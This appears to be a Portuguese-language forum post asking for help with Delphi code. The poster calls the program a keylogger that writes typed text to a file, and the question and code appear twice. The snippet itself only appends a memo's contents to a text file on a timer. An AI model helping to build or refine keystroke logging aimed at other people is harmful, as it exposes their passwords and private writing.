Estou utilizando este codigo para salvar em um bloco de texto, o que é digitado, o useja keylogger.
Este codigo foi o unico que encontrei que ele nao apaga o que ja estava escrito quando ele reabre. porem ele fica reescrevendo tudo de novo sem parar, ae fica tudo repetido varias e varias vezes.
alguem possue um codigo melhor, ou qualquer uma dica?
procedure TForm1.Timer2Timer(Sender: TObject);
var
arq:textfile;
begin
Assignfile(arq,'C:\Arquivos de programas\Borland\Delphi7\Projects\Dados.txt');
if not FileExists('C:\Arquivos de programas\Borland\Delphi7\Projects\Dados.txt') Then
begin
Rewrite(arq);
Closefile(arq);
End
Else
Assignfile(arq,'C:\Arquivos de programas\Borland\Delphi7\Projects\Dados.txt');
{$I-}
Append(arq);
{$I+}
If IOResult<> 0 Then
Begin
End;
Write(arq,Form1.Memo1.text);
Closefile(arq);
end;
Este codigo foi o unico que encontrei que ele nao apaga o que ja estava escrito quando ele reabre. porem ele fica reescrevendo tudo de novo sem parar, ae fica tudo repetido varias e varias vezes.
alguem possue um codigo melhor, ou qualquer uma dica?
procedure TForm1.Timer2Timer(Sender: TObject);
var
arq:textfile;
begin
Assignfile(arq,'C:\Arquivos de programas\Borland\Delphi7\Projects\Dados.txt');
if not FileExists('C:\Arquivos de programas\Borland\Delphi7\Projects\Dados.txt') Then
begin
Rewrite(arq);
Closefile(arq);
End
Else
Assignfile(arq,'C:\Arquivos de programas\Borland\Delphi7\Projects\Dados.txt');
{$I-}
Append(arq);
{$I+}
If IOResult<> 0 Then
Begin
End;
Write(arq,Form1.Memo1.text);
Closefile(arq);
end;